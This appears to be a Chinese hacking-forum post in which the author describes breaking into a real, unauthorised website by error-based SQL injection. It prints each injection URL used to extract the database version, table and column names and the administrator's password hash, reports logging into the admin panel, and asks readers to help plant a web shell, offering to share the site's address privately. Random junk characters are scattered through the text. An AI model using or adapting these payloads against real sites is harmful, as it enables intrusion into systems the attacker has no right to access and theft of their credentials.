近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。6 S1 _$ z5 G! \5 V
首先找到网站后台,加了个admin,后台出来了
; @9 o6 r5 M1 C: {4 l( b$ S7 R8 n. C6 D+ T0 J! k; q& ~) J2 w9 f) O2 c0 B
( J# J! ^3 R. R7 q然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入# m7 y8 M0 J: O7 b9 i+ c
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—$ R! x: } @6 {
, @/ e+ ~) L( W6 A
2 P* b9 e) |2 T5 J: x x y% k% n
6 c; t; o. \' W! z/ \
$ X0 q9 d- \) B8 X6 Hhttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg$ p# \- E1 X9 F4 F6 o U
9 c3 w. n4 U0 X' U! R0 M
- @" ?* O! E+ j- ]! m) Z( M
. B V8 N! j* f& Y# }
# @% U+ p% C% }3 ^& `1 F可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
# O9 D( T, d# G( b" A0 x& o5 ~9 C7 x( [4 q" [ v
7 B9 ^# F# W. i% |http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg0 ^2 T. x1 \6 Q% R2 G H& I
* ]$ i/ X; _1 o0 Y- E( |3 m! S, ]: x+ \7 P. b
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--: N1 }, Z! K1 D. `; ^; E* G
7 V! F8 ~: h! K$ [9 i5 r1 y I2 F2 Y* {# `
7 G7 n: }% D! J8 z
得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--
7 s3 P: I- F* m
( I: G& G6 ?; x' i% y/ y! C( u% o9 A
: T8 f+ A% }; |" u
得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |